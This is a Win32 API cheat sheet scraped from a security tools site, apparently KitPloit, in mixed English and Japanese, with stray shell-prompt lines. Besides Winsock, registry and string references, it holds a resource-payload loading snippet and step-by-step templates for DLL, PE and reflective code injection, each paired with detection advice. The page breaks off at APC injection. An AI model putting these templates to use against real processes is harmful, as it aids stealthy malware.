WSARecv```c int WSARecv( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.

root@kitploit:~
[WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto)```c
int WSASendTo(
    SOCKET s, // Descriptor identifying a socket.
    LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.
    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.
    int iToLen, // Size of the address in lpTo.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.

WSARecvFrom```c int WSARecvFrom( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.

root@kitploit:~
[WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect)```c
int WSAAsyncSelect(
    SOCKET s, // Descriptor identifying the socket.
    HWND hWnd, // Handle to the window which should receive the message.
    unsigned int wMsg, // Message to be received when an event occurs.
    long lEvent // Bitmask specifying a group of conditions to be monitored.
); // Requests Windows message - based notification of network events for a socket.

socket```c SOCKET socket( int af, int type, int protocol ); // Creates a new socket for network communication.

root@kitploit:~
[bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind)```c
int bind(
    SOCKET s, 
    const struct sockaddr *name, 
    int namelen
); // Binds a socket to a specific local address and port.

listen```c int listen( SOCKET s, int backlog ); // Sets a socket to listen for incoming connections.

root@kitploit:~
[accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept)```c
SOCKET accept(
    SOCKET s, 
    struct sockaddr *addr, 
    int *addrlen
); // Accepts a new incoming connection on a listening socket.

connect```c int connect( SOCKET s, const struct sockaddr *name, int namelen ); // Initiates a connection on a socket to a remote address.

root@kitploit:~
[send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send)```c
int send(
    SOCKET s, 
    const char *buf, 
    int len, 
    int flags
); // Sends data on a connected socket.

recv```c int recv( SOCKET s, char *buf, int len, int flags ); // Receives data from a connected socket.

root@kitploit:~
[closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket)```c
int closesocket(
    SOCKET s
); //Closes a socket and frees its resources.

gethostbyname```c hostent* gethostbyname( const char* name // either a hostname or an IPv4 address in dotted-decimal notation ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo

root@kitploit:~
### レジストリ操作
[RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw)```c
LONG RegOpenKeyExW(
    HKEY hKey, 
    LPCWTSTR lpSubKey, 
    DWORD ulOptions, 
    REGSAM samDesired, 
    PHKEY phkResult
); // Opens the specified registry key.

RegQueryValueExW```c LONG RegQueryValueExW( HKEY hKey, LPCWTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); // Retrieves the type and data of the specified value name associated with an open registry key.

root@kitploit:~
[RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw)```c
LONG RegSetValueEx(
    HKEY hKey, 
    LPCWTSTR lpValueName, 
    DWORD Reserved, 
    DWORD dwType, 
    const BYTE *lpData, 
    DWORD cbData
); // Sets the data and type of the specified value name associated with an open registry key.

RegCloseKey```c LONG RegCloseKey( HKEY hKey ); // Closes a handle to the specified registry key.

root@kitploit:~
[RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa)```c
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive. 

RegSetValueExA```c LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); // Sets the data and type of a specified value under a registry key.

root@kitploit:~
[RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya)```c
LSTATUS RegCreateKeyA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey,
  [out]          PHKEY  phkResult
); // Creates the specified registry key. If the key already exists in the registry, the function opens it.

RegDeleteKeyA```c LSTATUS RegDeleteKeyA( [in] HKEY hKey, [in] LPCSTR lpSubKey ); // Deletes a subkey and its values. Note that key names are not case sensitive.

root@kitploit:~
[NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey)```c
__kernel_entry NTSTATUS NtRenameKey(
  [in] HANDLE          KeyHandle,
  [in] PUNICODE_STRING NewName
); // Changes the name of the specified registry key.

エラー処理

WSAGetLastError```c int WSAGetLastError( void ); // Returns the error status for the last Windows Sockets operation that failed.

root@kitploit:~
[WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror)```c
void WSASetLastError(
    int iError
); // Sets the error status for the last Windows Sockets operation.

WSAGetOverlappedResult```c BOOL WSAGetOverlappedResult( SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags ); // Determines the results of an overlapped operation on the specified socket.

root@kitploit:~
[WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl)```c
int WSAIoctl(
    SOCKET s, 
    DWORD dwIoControlCode, 
    LPVOID lpvInBuffer, 
    DWORD cbInBuffer, 
    LPVOID lpvOutBuffer, 
    DWORD cbOutBuffer, 
    LPDWORD lpcbBytesReturned, 
    LPWSAOVERLAPPED lpOverlapped, 
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
); // Controls the mode of a socket.

WSACreateEvent```c WSAEVENT WSACreateEvent( void ); // Creates a new event object.

root@kitploit:~
[WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent)```c
BOOL WSASetEvent(
    WSAEVENT hEvent
); // Sets the state of the specified event object to signaled.

WSAResetEvent```c BOOL WSAResetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to nonsignaled.

root@kitploit:~
[WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent)```c
BOOL WSACloseEvent(
    WSAEVENT hEvent
); // Closes an open event object handle.

WSAWaitForMultipleEvents```c DWORD WSAWaitForMultipleEvents( DWORD cEvents, const WSAEVENT *lphEvents, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.

root@kitploit:~
### リソース管理
[FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea)```c
HRSRC FindResource(
  [in, optional] HMODULE hModule,   // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.
  [in]           LPCSTR  lpName,    // The name of the resource.
  [in]           LPCSTR  lpType     // The resource type.
); // Determines the location of a resource with the specified type and name in the specified module.
root@kitploit:~
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);

LoadResource```c HGLOBAL LoadResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. [in] HRSRC hResInfo // A handle to the resource to be loaded. ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.

root@kitploit:~
```c
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);

LockResource```c LPVOID LockResource( [in] HGLOBAL hResData // A handle to the resource to be accessed ); // Retrieves a pointer to the specified resource in memory.

root@kitploit:~
```c
unsigned char * payload = (char *) LockResource(resHandle);

SizeofResource```c DWORD SizeofResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource ); // Retrieves the size, in bytes, of the specified resource.

root@kitploit:~
```c
unsigned int payload_len = SizeofResource(NULL, res);

Unicode 文字列関数```c

#include <wchar.h> // for wide character string routines

root@kitploit:~
### 文字列の長さ```c
size_t wcslen(
    const wchar_t *str
); // Returns the length of the given wide string.

文字列コピー

[wcscpy]```c wchar_t *wcscpy( wchar_t *dest, const wchar_t *src ); // Copies the wide string from src to dest.

root@kitploit:~
[wcsncpy]```c
wchar_t *wcsncpy(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Copies at most count characters from the wide string src to dest.

文字列連結

[wcscat]```c wchar_t *wcscat( wchar_t *dest, const wchar_t *src ); // Appends the wide string src to the end of the wide string dest.

root@kitploit:~
[wcsncat]```c
wchar_t *wcsncat(
    wchar_t *dest, 
    const wchar_t *src, 
    size_t count
); // Appends at most count characters from the wide string src to the end of the wide string dest.

文字列比較

[wcscmp]```c int wcscmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically.

root@kitploit:~
[wcsncmp]```c
int wcsncmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically.

[_wcsicmp]```c int _wcsicmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically, ignoring case.

root@kitploit:~
[_wcsnicmp]```c
int _wcsnicmp(
    const wchar_t *str1, 
    const wchar_t *str2, 
    size_t count
); // Compares up to count characters of two wide strings lexicographically, ignoring case.

文字列検索

[wcschr]```c wchar_t *wcschr( const wchar_t *str, wchar_t c ); // Finds the first occurrence of the wide character c in the wide string str.

root@kitploit:~
[wcsrchr]```c
wchar_t *wcsrchr(
    const wchar_t *str, 
    wchar_t c
); // Finds the last occurrence of the wide character c in the wide string str.

[wcspbrk]```c wchar_t *wcspbrk( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.

root@kitploit:~
[wcsstr]```c
wchar_t *wcsstr(
    const wchar_t *str1, 
    const wchar_t *str2
); // Finds the first occurrence of the wide string str2 in the wide string str1.

[wcstok]```c wchar_t *wcstok( wchar_t *str, const wchar_t *delimiters ); // Splits the wide string str into tokens based on the delimiters.

root@kitploit:~
### 文字分類と変換
[towupper]```c
wint_t towupper(
    wint_t c
); // Converts a wide character to uppercase.

[towlower]```c wint_t towlower( wint_t c ); // Converts a wide character to lowercase.

root@kitploit:~
[iswalpha]```c
int iswalpha(
    wint_t c
); // Checks if the wide character is an alphabetic character.

[iswdigit]```c int iswdigit( wint_t c ); // Checks if the wide character is a decimal digit.

root@kitploit:~
[iswalnum]```c
int iswalnum(
    wint_t c
); // Checks if the wide character is an alphanumeric character.

[iswspace]```c int iswspace( wint_t c ); // Checks if the wide character is a whitespace character.

root@kitploit:~
[iswxdigit]```c
int iswxdigit(
    wint_t c
); // Checks if the wide character is a valid hexadecimal digit.

Win32 構造体のチートシート

一般的な構造体

SYSTEM_INFO```cpp #include <sysinfoapi.h> // Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size. typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO;

root@kitploit:~
[**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime)```cpp
#include <minwinbase.h>
// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.
typedef struct _FILETIME {
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

STARTUPINFO```cpp #include <processthreadsapi.h> // Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA;

root@kitploit:~
[**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information)```cpp
#include <processthreadsapi.h>
// Contains information about a newly created process and its primary thread.
typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;
    HANDLE hThread;
    DWORD  dwProcessId;
    DWORD  dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;

PROCESSENTRY32```c #include <tlhelp32.h> typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32;

root@kitploit:~
[**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85))```cpp
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.
typedef struct _SECURITY_ATTRIBUTES {
    DWORD  nLength;
    LPVOID lpSecurityDescriptor;
    BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

OVERLAPPED```cpp #inluce <minwinbase.h> // Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations. typedef struct _OVERLAPPED { ULONG_PTR Internal; ULONG_PTR InternalHigh; union { struct { DWORD Offset; DWORD OffsetHigh; } DUMMYSTRUCTNAME; PVOID Pointer; } DUMMYUNIONNAME; HANDLE hEvent; } OVERLAPPED, *LPOVERLAPPED;

root@kitploit:~
[**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)```cpp
#include <guiddef.h>
// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.
typedef struct _GUID {
    unsigned long  Data1;
    unsigned short Data2;
    unsigned short Data3;
    unsigned char  Data4[8];
} GUID;

MEMORY_BASIC_INFORMATION```cpp #include <winnt.h> // Contains information about a range of pages in the virtual address space of a process. typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

root@kitploit:~
[**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime)```cpp
#include <minwinbase.h>
// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.
typedef struct _SYSTEMTIME {
    WORD wYear;
    WORD wMonth;
    WORD wDayOfWeek;
    WORD wDay;
    WORD wHour;
    WORD wMinute;
    WORD wSecond;
    WORD wMilliseconds;
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;

COORD```cpp // Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner. typedef struct _COORD { SHORT X; SHORT Y; } COORD, *PCOORD;

root@kitploit:~
[**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str)```cpp
//  Defines the coordinates of the upper left and lower right corners of a rectangle.
typedef struct _SMALL_RECT {
    SHORT Left;
    SHORT Top;
    SHORT Right;
    SHORT Bottom;
} SMALL_RECT;

CONSOLE_SCREEN_BUFFER_INFO```cpp // Contains information about a console screen buffer. typedef struct _CONSOLE_SCREEN_BUFFER_INFO { COORD dwSize; COORD dwCursorPosition; WORD wAttributes; SMALL_RECT srWindow; COORD dwMaximumWindowSize; } CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;

root@kitploit:~
[**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata)```cpp
#include <winsock.h>
// Contains information about the Windows Sockets implementation.
typedef struct WSAData {
    WORD           wVersion;
    WORD           wHighVersion;
    unsigned short iMaxSockets;
    unsigned short iMaxUdpDg;
    char FAR       *lpVendorInfo;
    char           szDescription[WSADESCRIPTION_LEN+1];
    char           szSystemStatus[WSASYS_STATUS_LEN+1];
} WSADATA, *LPWSADATA;

[CRITICAL_SECTION](struct RTL_CRITICAL_SECTION (nirsoft.net))```c++ // Represents a critical section object, which is used to provide synchronization access to a shared resource. typedef struct _RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; LONG LockCount; LONG RecursionCount; HANDLE OwningThread; HANDLE LockSemaphore; ULONG_PTR SpinCount; } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;

root@kitploit:~
[**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa)```c++
#include <winsock2.h>
// Contains Windows Sockets protocol information.
typedef struct _WSAPROTOCOL_INFOA {
    DWORD          dwServiceFlags1;
    DWORD          dwServiceFlags2;
    DWORD          dwServiceFlags3;
    DWORD          dwServiceFlags4;
    DWORD          dwProviderFlags;
    GUID           ProviderId;
    DWORD          dwCatalogEntryId;
    WSAPROTOCOLCHAIN ProtocolChain;
    int            iVersion;
    int            iAddressFamily;
    int            iMaxSockAddr;
    int            iMinSockAddr;
    int            iSocketType;
    int            iProtocol;
    int            iProtocolMaxOffset;
    int            iNetworkByteOrder;
    int            iSecurityScheme;
    DWORD          dwMessageSize;
    DWORD          dwProviderReserved;
    CHAR           szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;

MSGHDR```c++ #include <ws2def.h> // Contains message information for use with the sendmsg and recvmsg functions. typedef struct _WSAMSG { LPSOCKADDR name; INT namelen; LPWSABUF lpBuffers; ULONG dwBufferCount; WSABUF Control; ULONG dwFlags; } WSAMSG, *PWSAMSG, *LPWSAMSG;

root@kitploit:~
### Win32 Sockets Structs チートシート (winsock.h)
[**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr)```cpp
// A generic socket address structure used for compatibility with various address families.
typedef struct sockaddr {
    u_short sa_family;
    char    sa_data[14];
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;

SOCKADDR_IN```cpp // Represents an IPv4 socket address, containing the IPv4 address, port number, and address family. typedef struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; } SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;

root@kitploit:~
[**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger)```cpp
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.
typedef struct linger {
    u_short l_onoff;
    u_short l_linger;
} LINGER, *PLINGER, *LPLINGER;

TIMEVAL```cpp // Represents a time interval, used with the select function to specify a timeout period. typedef struct timeval { long tv_sec; long tv_usec; } TIMEVAL, *PTIMEVAL, *LPTIMEVAL;

root@kitploit:~
[**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set)```cpp
// Represents a set of sockets used with the `select` function to check for socket events.
typedef struct fd_set {
    u_int fd_count;
    SOCKET fd_array[FD_SETSIZE];
} fd_set, *Pfd_set, *LPfd_set;

Win32 ソケット構造体チートシート (winsock2.h)

IN_ADDR```cpp // Represents an IPv4 address. typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, *LPIN_ADDR;

root@kitploit:~
### Win32 ソケット構造体チートシート (ws2def.h)
[**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow)```cpp
#include <ws2def.h>
// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.
typedef struct addrinfoW {
    int             ai_flags;
    int             ai_family;
    int             ai_socktype;
    int             ai_protocol;
    size_t          ai_addrlen;
    PWSTR           *ai_canonname;
    struct sockaddr *ai_addr;
    struct addrinfo *ai_next;
} ADDRINFOW, *PADDRINFOW;

WSABUF```cpp #include <ws2def.h> // Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations. typedef struct _WSABUF { ULONG len; __field_bcount(len) CHAR FAR *buf; } WSABUF, FAR * LPWSABUF;

root@kitploit:~
[**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6)```cpp
#include <ws2ipdef.h>
// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.
typedef struct sockaddr_in6 {
    short          sin6_family;
    u_short        sin6_port;
    u_long         sin6_flowinfo;
    struct in6_addr sin6_addr;
    u_long         sin6_scope_id;
} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;

IN6_ADDR```cpp #include <in6addr.h> // Represents an IPv6 address. typedef struct in6_addr { union { u_char Byte[16]; u_short Word[8]; } u; } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

root@kitploit:~
# Code Injection Techniques

## 1. DLL Injection

この技術は、プロセスに悪意のあるDLLを読み込ませるものです。

Key APIs:
- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)  ```c
  HANDLE OpenProcess(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
  );
  • VirtualAllocEx ```c LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~
  • WriteProcessMemory ```c BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
    root@kitploit:~
  • CreateRemoteThread ```c HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
    root@kitploit:~
  • GetProcAddress ```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
    root@kitploit:~
  • LoadLibrary ```c HMODULE LoadLibraryA( LPCSTR lpLibFileName );

テンプレート:

  1. OpenProcess で対象プロセスを開く
  2. VirtualAllocEx で対象プロセス内にメモリを割り当てる
  3. WriteProcessMemory で割り当てたメモリにDLLのパスを書き込む
  4. GetProcAddress を使用して LoadLibraryA のアドレスを取得する
  5. CreateRemoteThread を使用して対象プロセス内にリモートスレッドを作成し、lpStartAddress パラメータとして LoadLibraryA のアドレスを渡して LoadLibraryA を指すようにする
  6. (任意) 代替のスレッド作成方法として NtCreateThread または RtlCreateUserThread を使用する

検出と防御:

  • 不審なプロセスアクセスやメモリ割り当てパターンを監視する
  • アプリケーションのホワイトリスト化を使用して、許可されていないDLLの読み込みを防ぐ
  • プロセスの整合性チェックを実装する
  • MicrosoftのProcess Monitorのようなツールを使用してDLLインジェクションの試行を検出する

2. PEインジェクション

この手法は、リモートプロセスまたは同一プロセス(自己インジェクション)に悪意のあるコードを書き込み、実行するものです。

主要なAPI:

  • OpenThread ```c HANDLE OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId );
    root@kitploit:~
  • SuspendThread ```c DWORD SuspendThread( HANDLE hThread );
    root@kitploit:~
  • VirtualAllocEx (上記参照)
  • WriteProcessMemory (上記参照)
  • SetThreadContext ```c BOOL SetThreadContext( HANDLE hThread, const CONTEXT *lpContext );
    root@kitploit:~
  • ResumeThread ```c DWORD ResumeThread( HANDLE hThread );
    root@kitploit:~
  • NtResumeThread (未公開) ```c NTSTATUS NTAPI NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL );

Template:

  1. 対象スレッドを OpenThread で開く
  2. スレッドを SuspendThread で一時停止する
  3. ターゲットプロセス内のメモリを VirtualAllocEx で割り当てる
  4. 割り当てられたメモリに悪意のあるコードを WriteProcessMemory で書き込む
  5. スレッドコンテキストを変更して注入されたコードを指すように SetThreadContext で設定する
  6. ResumeThread または NtResumeThread でスレッドを再開する

検出と防御:

  • 異常なスレッドの一時停止・再開パターンを監視する
  • メモリ整合性チェックを実装する
  • Endpoint Detection and Response (EDR) ソリューションを使用して不審なメモリ変更を検出する
  • ランタイムプロセスメモリスキャン技術を採用する

3. リフレクティブインジェクション

PEインジェクションに似ていますが、LoadLibrary と CreateRemoteThread の使用を避けます。標準のWindowsローダーを使用せずに、メモリからDLLをロードできるカスタムローダーを記述することを含みます。

主なAPI:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • OpenProcess (上記参照)
  • memcpy ```c void *memcpy( void *dest, const void *src, size_t count );
    root@kitploit:~
  • ZwMapViewOfSection (カーネルモード用に文書化) ```c NTSTATUS ZwMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
    root@kitploit:~
  • CreateThread (上記の CreateRemoteThread を参照)

追加で使用されることもあるAPI:

  • VirtualQueryEx ```c SIZE_T VirtualQueryEx( HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength );
    root@kitploit:~
  • ReadProcessMemory ```c BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );
    root@kitploit:~

テンプレート:

  1. CreateFileMapping を使用して DLL のファイルマッピングを作成する
  2. MapViewOfFile を使用してファイルのビューをマップする
  3. OpenProcess を使用して対象プロセスを開く
  4. VirtualAllocEx を使用して対象プロセス内にメモリを割り当てる
  5. WriteProcessMemory を使用して割り当てたメモリに DLL の内容をコピーする
  6. 対象プロセス内で DLL の手動ロードとリロケーションを実行する
  • PE ヘッダーを解析する
  • 各セクションのメモリを割り当てる
  • セクションを割り当てたメモリにコピーする
  • リロケーションテーブルを処理する:
    • リロケーションエントリを列挙する
    • 新しいベースアドレスに基づいてリロケーションを適用する
  • インポートを解決する:
    • インポートディレクトリを走査する
    • インポートされた各関数について、GetProcAddress を使用してアドレスを解決する
    • 解決したアドレスを IAT に書き込む
  1. スレッド作成方法のいずれかを使用して DLL のエントリポイントを実行する

検出と防御:

  • 注入されたコードを検出するための高度なメモリスキャン技術を実装する
  • 不審なメモリ割り当てパターンを特定するために、動作ベースの検出を使用する
  • 異常なファイルマッピング操作を監視する
  • リフレクティブローダーを特定するために、ヒューリスティックベースの検出方法を採用する

4. APC インジェクション

この手法は、非同期プロシージャコール (APC) キューにアタッチすることで、特定のスレッドでコードを実行できるようにします。 アラータブルスレッド (アラータブル待機関数を呼び出すスレッド) で最も効果的に機能します。

主要な API:

  • CreateToolhelp32Snapshot ```c HANDLE CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID );
